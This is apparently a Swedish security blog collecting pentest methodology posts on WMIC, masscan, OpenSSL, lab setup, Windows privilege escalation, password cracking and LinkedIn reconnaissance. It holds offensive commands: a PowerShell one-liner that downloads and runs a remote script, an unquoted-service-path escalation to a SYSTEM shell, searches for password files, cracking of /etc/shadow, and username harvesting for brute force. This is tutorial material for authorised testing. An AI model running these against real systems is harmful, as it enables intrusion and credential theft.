Kategorier
Metodik

Windows wmic

WMI command-line (WMIC) är ett verktyg för att interagera mot WMI-subsystemet i Windows. Genom kommandot wmic så kan du således göra en hel del intressanta saker när du genomför en säkerhetsgranskning eller RedTeaming-uppdrag.

Det är även ofta som wmic.exe också glöms bort när det gäller konfigurering av AppLocker eller uppsäkring av systemet med Group Policys. Sökvägen till wmic.exe är C:\Windows\System32\wbem\wmic.exe

Nedan följer en lista över några kommandon du kan köra för att kartlägga information om ett system. Exempel på kommando:

wmic group list brief

Du kan även använda wmic till att starta upp nya processer med:

wmic process call create “calc.exe”

Även så kan du ställa frågor mot ett fjärrsystem med inloggning på följande sätt:

wmic /user:"DOMAIN_Adminuser" /password:"Lösenord" /node:192.168.1.1 group list brief

Och om du vill spara undan utdata i HTML-format så går det också:

wmic /output:os.html os get /format:hform

Se en lista med installerade patchar:

wmic qfe list brief

Visa installerad säkerhetsprodukt:

wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe

För att visa en katalog eller söka efter en fil:

wmic DATAFILE where "path='\\Users\\test\\Documents\\'" GET Name,readable,size
wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE

Lista alla datorer:

wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname

Eller

wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname

Och om du bara skriver wmic så får du en prompt likt denna:

Och vill du ha hjälp så skriver du /? och får upp detta:

Och tittar vi på mer information om hur man startar upp en process och sedan startar den:

Sist men inte minst så kan vi även starta upp en process såsom calc.exe på ett fjärrsystem (i detta fall 127.0.0.1) på följande sätt:

WMIC Argument

baseboard get Manufacturer, Model, Name, PartNumber, slotlayout, serialnumber, poweredon
bios get name, version, serialnumber
bootconfig get BootDirectory, Caption, TempDirectory, Lastdrive
cdrom get Name, Drive, Volumename
computersystem get Name, domain, Manufacturer, Model, NumberofProcessors, PrimaryOwnerName,Username, Roles, totalphysicalmemory /format:list
cpu get Name, Caption, MaxClockSpeed, DeviceID, status
datafile where name=’c:\boot.ini’ get Archive, FileSize, FileType, InstallDate, Readable, Writeable, System, Version
dcomapp get Name, AppID /format:list
desktop get Name, ScreenSaverExecutable, ScreenSaverActive, Wallpaper /format:list
desktopmonitor get screenheight, screenwidth
diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaType
diskquota get User, Warninglimit, DiskSpaceUsed, QuotaVolume
environment get Description, VariableValue
fsdir where name=’c:\windows’ get Archive, CreationDate, LastModified, Readable, Writeable, System, Hidden, Status
group get Caption, InstallDate, LocalAccount, Domain, SID, Status
idecontroller get Name, Manufacturer, DeviceID, Status
irq get Name, Status
job get Name, Owner, DaysOfMonth, DaysOfWeek, ElapsedTime, JobStatus, StartTime, Status
loadorder get Name, DriverEnabled, GroupOrder, Status
logicaldisk get Name, Compressed, Description, DriveType, FileSystem, FreeSpace, SupportsDiskQuotas, VolumeDirty, VolumeName
memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
memlogical get AvailableVirtualMemory, TotalPageFileSpace, TotalPhysicalMemory, TotalVirtualMemory
memphysical get Manufacturer, Model, SerialNumber, MaxCapacity, MemoryDevices
netclient get Caption, Name, Manufacturer, Status
netlogin get Name, Fullname, ScriptPath, Profile, UserID, NumberOfLogons, PasswordAge, LogonServer, HomeDirectory, PrimaryGroupID
netprotocol get Caption, Description, GuaranteesSequencing, SupportsBroadcasting, SupportsEncryption, Status
netuse get Caption, DisplayType, LocalName, Name, ProviderName, Status
nic get AdapterType, AutoSense, Name, Installed, MACAddress, PNPDeviceID,PowerManagementSupported, Speed, StatusInfo
nicconfig get MACAddress, DefaultIPGateway, IPAddress, IPSubnet, DNSHostName, DNSDomain
nicconfig get MACAddress, IPAddress, DHCPEnabled, DHCPLeaseExpires, DHCPLeaseObtained, DHCPServer
nicconfig get MACAddress, IPAddress, DNSHostName, DNSDomain, DNSDomainSuffixSearchOrder, DNSEnabledForWINSResolution, DNSServerSearchOrder
nicconfig get MACAddress, IPAddress, WINSPrimaryServer, WINSSecondaryServer, WINSEnableLMHostsLookup, WINSHostLookupFile
ntdomain get Caption, ClientSiteName, DomainControllerAddress, DomainControllerName, Roles, Status
ntevent where (LogFile=’system’ and SourceName=’W32Time’) get Message, TimeGenerated
ntevent where (LogFile=’system’ and SourceName=’W32Time’ and Message like ’%timesource%’) get Message, TimeGenerated
ntevent where (LogFile=’system’ and SourceName=’W32Time’ and EventCode!=’29’) get TimeGenerated, EventCode, Message
onboarddevice get Description, DeviceType, Enabled, Status
os get Version, Caption, CountryCode, CSName, Description, InstallDate, SerialNumber, ServicePackMajorVersion, WindowsDirectory /format:list
os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpTime, NumberofProcesses, NumberofUsers, Organization, RegisteredUser, Status
pagefile get Caption, CurrentUsage, Status, TempPageFile
pagefileset get Name, InitialSize, MaximumSize
partition get Caption, Size, PrimaryPartition, Status, Type
printer get DeviceID, DriverName, Hidden, Name, PortName, PowerManagementSupported, PrintJobDataType, VerticalResolution, Horizontalresolution
printjob get Description, Document, ElapsedTime, HostPrintQueue, JobID, JobStatus, Name, Notify, Owner, TimeSubmitted, TotalPages
process get Caption, CommandLine, Handle, HandleCount, PageFaults, PageFileUsage, PArentProcessId, ProcessId, ThreadCount
product get Description, InstallDate, Name, Vendor, Version
qfe get description, FixComments, HotFixID, InstalledBy, InstalledOn, ServicePackInEffect
quotasetting get Caption, DefaultLimit, Description, DefaultWarningLimit, SettingID, State
recoveros get AutoReboot, DebugFilePath, WriteDebugInfo, WriteToSystemLog
Registry get CurrentSize, MaximumSize, ProposedSize, Status
scsicontroller get Caption, DeviceID, Manufacturer, PNPDeviceID
server get ErrorsAccessPermissions, ErrorsGrantedAccess, ErrorsLogon, ErrorsSystem, FilesOpen, FileDirectorySearches
service get Name, Caption, State, ServiceType, StartMode, pathname
share get name, path, status
sounddev get Caption, DeviceID, PNPDeviceID, Manufacturer, status
startup get Caption, Location, Command
sysaccount get Caption, Domain, Name, SID, SIDType, Status
sysdriver get Caption, Name, PathName, ServiceType, State, Status
systemenclosure get Caption, Height, Depth, Manufacturer, Model, SMBIOSAssetTag, AudibleAlarm, SecurityStatus, SecurityBreach, PoweredOn, NumberOfPowerCords
systemslot get Number, SlotDesignation, Status, SupportsHotPlug, Version, CurrentUsage, ConnectorPinout
tapedrive get Name, Capabilities, Compression, Description, MediaType, NeedsCleaning, Status, StatusInfo
timezone get Caption, Bias, DaylightBias, DaylightName, StandardName
useraccount get AccountType, Description, Domain, Disabled, LocalAccount, Lockout, PasswordChangeable, PasswordExpires, PasswordRequired, SID
memorychip get BankLabel, Capacity, Caption, CreationClassName, DataWidth, Description, Devicelocator, FormFactor, HotSwappable, InstallDate, InterleaveDataDepth, InterleavePosition, Manufacturer, MemoryType, Model, Name, OtherIdentifyingInfo, PartNumber, PositionInRow, PoweredOn, Removable, Replaceable, SerialNumber, SKU, Speed, Status, Tag, TotalWidth, TypeDetail, Version

 

 

Kategorier
Metodik

Masscan löser problemet där Nmap misslyckas

Min grundfilosofi när det gäller penetrationstester är att jag ska ha flera olika val för att lösa en uppgift. En sådan uppgift kan vara att portskanna ett nätverk eller identifiera klienter/servrar på ett internt nätverk.

Mitt förstahandsval är Nmap men det finns ett antal situationer där Nmap inte kan lösa problemet. Därför är det bra att känna till masscan som är utvecklat av Robert Graham. Följande situationer har jag använt masscan till:

  • Identifiera klienter eller servrar på stora interna nätverk
  • Större skanningar på mer än ett /24 där nmap tar lång tid eller ger upp. Då använder jag resultatet från masscan som jag skickar in i nmap för version/service scan (-sV)

Masscan är otroligt snabbt och kraftfullt, och gör du fel så kan du av misstag söka av hela Internet och då blir din internetleverantör troligtvis rätt arg på dig. Enligt Robert så kan du söka av hela internet på 3 minuter efter en port.

Därför kan följande tips vara bra att ta till sig hur du når framgång med masscan.

Först och främst så bör du köra masscan på en server som inte är virtualiserad. Jag fick problem med att interfacet inte kunde identifieras (Xen). Fungerar dock bra under VirtualBox. Följande felmeddelande fick jag:

FAIL: could not determine default interface

De argument som masscan tar är snarlika med de som finns till nmap. Exempel på några argument:

masscan -p 80,443 10.0.0.0/8
masscan --open --banners -p 80,443 10.0.0.0/8

Sedan brukar jag även börja med relativ låg limit på antal paket per sekund. Standard är 100 paket per sekund.

Exempelvis aningens snabbare än standardinställningen med 500 pps:

masscan --open --banners -p 80,443 --rate 1000 10.0.0.0/8

Och sedan öka successivt till kanske 5000 pps. Och är det så att du söker igenom ett internt nätverk och vill identifiera segment där servrar eller klienter finns så slänger jag även på tcpdump i bakgrunden som sparar ner alla paket. Så även om en klient eller server skickar TCP RST tillbaka så vet jag att det troligt finns något där.

Bra även att känna till är de standardvärden som masscan skickar på. Som är följande:

-sS -Pn -n --randomize-hosts -v --send-eth

Och om du startar en skanning och avbryter den genom att trycka Ctrl-C så kommer en fil som heter paused.conf att skrivas ner med bl.a. ett frövärde och index så du kan återuppta en skanning med:

masscan -c paused.conf

Slänger du på –echo i slutet som argument så skrivs en konfigurationsfil ut som du kan ändra och sedan använda med -c. Bra om du exempelvis vill ändra randomize-hosts = true till false.

Andra bra argument jag brukar använda är följande:

Sök igenom samtliga portar:

-p0-65535

Spara ner i binärt format:

-oB filnamn

Kan sedan läsas med –readscan och konverteras till format såsom xml, json eller text:

--readscan filnamn -oX filnamn.xml

Det var allt för denna gång och jag hoppas att du testar masscan som ett alternativ till nmap.

Ett alternativ till masscan är Zmap, och masscan följer givetvis med i Kali Linux.

Skärmdump när Robert skannar av Internet:

Kategorier
Metodik

Penetrationstest med OpenSSL

Vid test av TLS/SSL-implementationer så är OpenSSL ett ovärderligt verktyg. Tyvärr så stödjer vanliga installationer av OpenSSL inte så många algoritmer som man kan önska. Det finns lite olika orsaker till detta men främsta orsaken är säkerhet. Detta ställer så klart till det för oss som vill testa med korta nyckellängder och gamla algoritmer exempelvis.

Som tur är så finns det en räddning. Det är nämligen så att Peter Mosmans har skapat en egen fork av OpenSSL på Github som innehåller en mängd modifieringar.

Här hittar du hans källkodsträd: https://github.com/PeterMosmans/openssl

Följande skärmdump visar 183 cipher suites vs 143 cipher suites som är standard i den openssl som följer med Kali Linux:

Min macOS-installation stödjer 38 st ciphers och Ubuntu 14.04.5 LTS stödjer 111 st. Och genom att ange argumentet ciphers -v ’ALL:eNULL’ så får du även med null-ciphers.

Även innehåller Peters fork ChaCha20- och Poly1305-algoritmerna.

Kategorier
Metodik

Så skapar du ett enkelt pentest-labb

Att testa nya verktyg och metoder är en viktig del för den som jobbar med penetrationstester och IT-säkerhetsgranskningar av tekniskt slag. Men det är inte alltid helt lätt att testa nya fräna verktyg och detta bör så klart göras i en kontrollerad miljö.

Därför är virtuella servrar och nätverk som skapats med hjälp av VMware eller VirtualBox till stor hjälp. Jag själv använder tre grundplåtar när jag bygger upp labbar av olika slag, dessa baseras på följande:

Efter du laddat hem virtuella images från Microsoft enligt länken ovan så kan du sedan installera ytterligare mjukvaror såsom XAMPP.

Gillar du som jag Vagrant för att förenkla din hantering av virtuella miljöer så kan du använda pentest-env på följande sätt:

$ git clone https://github.com/Sliim/pentest-env
$ cd pentest-env
$ cp examples/msf.pentestrc .

Sedan kollar du msf.pentestrc att allt ser bra ut, jag vill exempelvis enbart starta metasploitable2 så jag tar bort metasploitable3 från filen.

Sedan är det bara att kolla status samt bootstrappa och starta upp.

Första gången tar det alltid lite extra tid:

$ PENTESTRC=msf.pentestrc vagrant status
Current machine states:

metasploitable2 not created (virtualbox)

The environment has not yet been created. Run `vagrant up` to
create the environment. If a machine is not created, only the
default provider will be shown. So if a provider is not listed,
then the machine is not created for that environment.
$ PENTESTRC=msf.pentestrc vagrant up metasploitable2

Sen är det bara och vänta. Metasploitable2 tar cirka 15 minuter beroende på uppkoppling och metasploitable3 kan ta upp till 1h att starta upp och färdigställa.

Men sedan är det bara att testa på. Dubbelkontrollera bara så du kör mot rätt IP-adress, antingen via vagrant ssh eller direkt via konsolen i VirtualBox/VMware.

Sedan är det bara att testa på, exempelvis med Nmap:

$ nmap 192.168.99.100

Starting Nmap 7.01 ( https://nmap.org ) at 2017-03-21 21:11 CET
Nmap scan report for 192.168.99.100
Host is up (0.00065s latency).
Not shown: 978 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown

Stöter du problem kan du alltid gå via Virtualbox och inställningar där för nätverket.

Senare kommer jag även gå igenom hur du använder dig av VulnHub för att testa olika utmaningar (CTF:er etc).

Kategorier
Metodik

Nytt verktyg för att testa Metasploit-moduler

Ett nytt verktyg för att testa metasploit-moduler har släppts. Med hjälp av detta nya verktyg så slipper du installera en hel virtuell miljö med Metasploitable eller liknande. Även är detta nya verktyg bra vid undervisning.

Verktyget är skrivet i perl och kan emulera olika typer av tjänster som du sedan kan köraen auxiliary-modul eller exploit-modul.

Emuleringen definieras med hjälp av JSON-regler som skrivs i service.cfg filen. En tjänst som går att exploita kan se ut så här:

"exploits/windows/iis/ms01_023_printer": {
  "desc": "",
  "extraCmds": "set payload windows/shell_reverse_tcp\r\nsetg LHOST 127.0.0.1",
  "defaultPort": [80],
  "seq": [
    ["regex", "GET http:\/\/.*\/NULL.printer?"],
    ["HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n", ["action", ["connect", ":4444"]]]
  ]
  },

Och sedan när du ska utnyttja den så kör du enligt följande från metasploit:

msf > use exploit/windows/iis/ms01_023_printer
msf > set payload windows/shell_reverse_tcp
msf > setg RHOST 127.0.0.1
msf > setg LHOST 127.0.0.1
msf exploit(ms01_023_printer) > run

[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Command shell session 4 opened (127.0.0.1:4444 -> 127.0.0.1:51852) at 2017-01-20 10:47:12 -0600

>>ls
README.md
secret.txt
server_cert.pem
server_key.pem
service.cfg
vulEmu.pl

Du kan ladda hem verktyget från Rapid7:s Github-repo här:

https://github.com/rapid7/metasploit-vulnerability-emulator

Kategorier
Metodik

Tänk på detta när du beställer ett penetrationstest

Att vara en bra beställare är viktigt för att uppnå effekt. För du som beställare har förväntningar och krav på olika former av leverabler, oftast i form av en rapport och muntlig genomgång.

När det gäller att vara en bra beställare av ett penetrationstest eller IT-säkerhetsgranskning så finns det några viktiga punkter att tänka på redan innan du beställer granskningen.

Vet du vilket system det är som ska testas och vilka avgränsningar och begränsningar finns det i testet? Jag rekommenderar oftast att testa mot skarpa system men något som i praktiken är svårt att genomföra. För det är inte alltid så att eventuella test-system är snarlika med produktionssystem.

penetrationstest

Sedan när du väljer företag så rekommenderar jag att kontakta 3-4 st olika och förse dessa med information om vad som ska testas och en ungefärlig uppskattning när det gäller tid.

De flesta tester nu för tiden är så kallade white-box tester där granskaren ges möjlighet att läsa på dokumentation eller källkod redan innan testet utförs. Detta är för att göra testet mer effektivt och således en kostnadsbesparing för beställaren. Motsatsen till white-box tester är blackbox-tester där ingen information annat än eventuellt IP-adress eller domännamn tillhandahålls till granskaren innan.

Kontrollera även vem som personen eller personerna är som ska utföra testerna och hur information hanteras under och efter testet. Används hårddiskkryptering och säker överskrivning av filer?

Ställ även gärna krav på punkter som ska ingå i rapporteringen såsom åtgärdsförslag, prioriteringslista och vilka verktyg som nyttjats. Även om penetrationstestare är supermänniskor så hjälper automatiserade verktyg en hel del på traven och kan identifiera sådant som enbart manuell granskning skulle identifiera.

Se till att det finns resurser avdelade för att stödja granskningen om eventuella frågor uppstår.

Jag är även förespråkare för att genomföra två tester, ett initialt test som kanske tar någon enstaka dag för att sedan följas upp med ett längre test på cirka 2 veckor. Givetvis kan man testa system hur länge som helst men någonstans måste en avvägning göras.

Om du har frågor om penetrationstester eller IT-säkerhetsgranskningar är du välkommen att kontakta mig, Jonas Lejon på Triop AB.

Kategorier
Metodik

Penetrationstest av Windows

Windows penetrationstest

Denna artikel går igenom hur du kan testa säkerheten lokalt på en Windows-klient eller server. Jag kommer i en annan artikel gå igenom hur du testar säkerheten i Windows över nätverket.

Det är alltid bäst att börja med en lokal kartläggning för att kontrollera vilka användare som finns, anslutningar, vad är syftet med servern eller klienten?

Sedan så är det av stor vikt att kontrollera vilka mjukvaror som är installerade och hur de används. Är Windows uppdaterat med senaste säkerhetsuppdateringarna?

Metasploit har en hel del funktioner för detta inbyggt såsom dessa:

meterpreter > run post/windows/gather/enum_applications
meterpreter > getuid
meterpreter > run winenum
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > ps -s
meterpreter > getprivs

Och följande Python-script kan köras om du inte har ett shell via Metasploit och meterpreter:

Ovan exploit-suggester kan köras direkt på klienten om Python finnes installerat annars kan output från kommandot systeminfo skickas in på ett annat system. Jag själv brukar kompilera upp dessa i PyInstaller och köra –standalone under Wine och Kali Linux.

Även så kan listning av drivrutiner avslöja eventuella brister:

C:\>driverquery /v

Ett annat bra tips är att kontrollera vilka mjukvaror och dess versioner som är installerade och sedan installera upp ett snarlikt system med just dessa.

För det är sedan lättare att identifiera eventuella brister på detta egna system.

Filer som innehåller eventuella lösenord eller behörigheter kan också vara bra att söka efter på systemet. och där kan dir /S vara till hjälp, exempelvis:

C:\>dir /S *password*

Övriga saker att kolla efter:

  • Krypterat cpassword-värde i XML-filer som ligger på SYSVOL-volymen
  • Om AlwaysInstallElevated används
  • Autostart-objekt som inte finns. Kolla med autorunsc.exe och sök efter ”File not found”
  • Tjänster som inte använder citat-tecken runt sökvägar:
    • wmic service get name,displayname,pathname,startmode |findstr /i ”auto” |findstr /i /v ”c:\windows\\” |findstr /i /v ”””

Sist men inte minst kan jag rekommendera verktyget PowerUp som gör ett antal kontroller helt automatiskt, kolla gärna även in PowerSploit på Github.

Kan köras direkt från nätet via Powershell på följande sätt:

powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(’https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerUp/PowerUp.ps1’); Invoke-AllChecks

Samt innan varje kontroll som PowerUp gör så står det hur du kan utnyttja en eventuell svaghet.

Eller så kan man göra det manuellt, i mitt fall så kör jag ntpd.exe som inte har en sökväg utan citat-tecken. Så här:

[+] Unquoted service path: NTP - C:\Program Files\NTP\bin\ntpd.exe -U 3 -M -g -
c "C:\Program Files\NTP\etc\ntp.conf"

Det gör att om jag kan skriva till C:\Program.exe så kommer det att exekveras när tjänsten startas upp. Vilket blir ännu mer tydligt om vi tittar direkt på tjänsten:

C:\>sc qc NTP
sc qc NTP
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NTP
 TYPE : 10 WIN32_OWN_PROCESS
 START_TYPE : 2 AUTO_START
 ERROR_CONTROL : 1 NORMAL
 BINARY_PATH_NAME : C:\Program Files\NTP\bin\ntpd.exe -U 3 -M -g -c "C:\Program Files\NTP\etc\ntp.conf"
 LOAD_ORDER_GROUP :
 TAG : 0
 DISPLAY_NAME : Network Time Protocol Daemon
 DEPENDENCIES : Tcpip
 SERVICE_START_NAME : LocalSystem

Och i mitt fall så skapar jag en ny payload med msfvenom placerar den som C:\>Program.exe och kör sedan net stop ntp samt net start ntp och vips får jag ett nytt shell samt:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Det var väl enkelt? Nu hade vi tur med skrivrättigheterna till C:/> samt problemet med citat-tecken i sökvägen.

Orkar du inte göra det manuellt så finns det även en funktion i metasploit som gör det automatiserat:

meterpreter > use exploit/windows/local/trusted_service_path

Got root

Kategorier
Metodik

Effektivare penetrationstest med Vagrant

Vagrant Kali Linux

Vagrant är ett verktyg som underlättar hanteringen av virtuella maskiner som ligger i VMware eller VirtualBox. För att starta upp en ny virtuell maskin behövs enbart en fil: Vagrantfile som du placerar i en egen katalog.

Och så klart så finns Kali Linux färdigt som en Vagrantfile som du kan använda dig av för att bli mer effektiv. Du slipper alltså ladda hem en ISO-fil och lägga till en ny virtuell maskin och konfigurera denna, samt lägga upp katalogdelningar. Allt detta sköter Vagrant åt dig samt inställningarna återfinnes i filen Vagrantfile. Även så fixar pentest-env VirtualBox Guest Additions.

Så här gör du:

$ git clone https://github.com/Sliim/pentest-env.git
$ cd pentest-env
$ vagrant up

Och sedan för att ansluta direkt in till Kali kör du:

$ vagrant ssh

Lätt va?

Och har du inte installerat Vagrant tidigare eller VirtualBox (eller VMware måste du även göra det).

pentest-env

Kategorier
Metodik

Så knäcker du lösenord

 

knäcka lösenord

För oss som jobbar med penetrationstester så kan ett bra genomförande av lösenordsknäckning vara en vital del att ta sig vidare i ett uppdrag. Men för att lyckas att knäcka ett eller flera lösenord så är det flertalet faktorer som spelar in.

  • Har du tillgång till användarnamn eller bara lösenordshashar?
  • Vilken algoritm används för att hasha lösenorden? Eller är dom krypterade?
  • Vad har du för hårdvara för att knäcka lösenord?

Och många gånger så kan det även vara svårt att lista ut just hur lösenorden är hashade och lösenordsknäckarverktyg såsom John the Ripper samt Hashcat kan vara rätt bra på att identifiera hashar. Och så klart finns det även verktyg för att identifiera hashar såsom hashID.

Men så klart är det alltid bäst att även skapa lösenordslistor som är unika för kunden, systemet eller personen (med exempelvis cewl.rb, se nedan).

Även kan Wikipedia vara en bra källa till underlag för lösenordslistor, för du kan ladda hem Wikipedia-databasen för olika länder här.

Givetvis är även bra prestanda såsom GPU-kluster och liknande också bra att ha och har du inte det så kan du alltid hyra från Amazon för några få $/timme. Och skriver man om lösenordsknäckning så måste jag även passa på att tipsa om rainbow-tables (regnbågstabeller) och där kan du använda Ophcrack eller ladda hem tabeller för LM, Md5 osv här.

När du använt öppna källor för att skapa listor så bör du även sedan göra varianter på dessa lösenord som du vill testa. Säg exempelvis att du identifierat att någon heter Lejon på organisationen du testar, du vill du även testa Lejon!, Lejon1 Lejon123 osv. Och för att göra det kan du använda John The Ripper samt olika typer av regelverk.

Här använder jag KoreLogics regler:

# ./john -w:storalistan.txt --format:md5 --rules:KoreLogicRulesPrependJustSpecials /etc/shadow

Här finns listor bra lösenordslistor med sammanställda läckta lösenord som är knäckta: https://download.g0tmi1k.com/wordlists/large/ och kan även rekommendera verktyget cewl.rb för att använda öppen information för att skapa lösenordslistor.

Läste du inte inlägget från förra veckan om kartläggning på LinkedIn så rekommenderar jag det också, eftersom utdata från LinkedIn också kan användas för att generera lösenord.

Sist men inte minst så bör du även försöka få reda på hur lösenorden är skapade. För finns det en speciell policy som måste följas så kan du minska sökrymden och bli effektivare.

Kategorier
Metodik

Kartläggning via LinkedIn

theHarvester LinkedIn OSINT

Att använda information från LinkedIn kan vara en bra del i OSINT-arbetet (öppna källor) vid ett penetrationstest.

Information såsom namn kan användas för att generera användarnamn som kan testas mot internetansluta system.

Reklam: Behöver ditt företag hjälp med penetrationstester? Kontakta Triop AB

Först och främst så laddar vi hem theHarvester från Github:

$ wget https://github.com/laramies/theHarvester/archive/master.zip -o theHarvester.zip
$ unzip theHarvester.zip
$ cd theHarvester-master/
$ python theHarvester.py -h

Och sedan det viktiga är -b för att ange källa linkedin och -d används för domännamn eller företagsnamn:

$ python theHarvester.py -b linkedin -d triop.se -l 200

eller

$ python theHarvester.py -b linkedin -d "Triop AB" -l 200

och sedan får vi ut ett antal träffar:

[-] Searching in Linkedin..
 Searching 100 results..
Users from Linkedin:
====================
Jonas Lejon
Jonas Lejon
Jonas Lejon
Nuno dos Santos
Tahseen Junedi
Javier Gonzalez Burgos
Ryan Pippy
Sasha Yakunin
Anirudh Maitra
Abdul Gani
Daniel Diaz
Gareth Porter
Kenny Miller
Carlos Vollbracht

Och sedan med lite awk + sed-magi så kan du skapa upp användarnamn samt lösenord för att testa vid forcering eller med hjälp av John the Ripper.

Även så kan du använda theHarvester för DNS-kartläggning, läs mer här.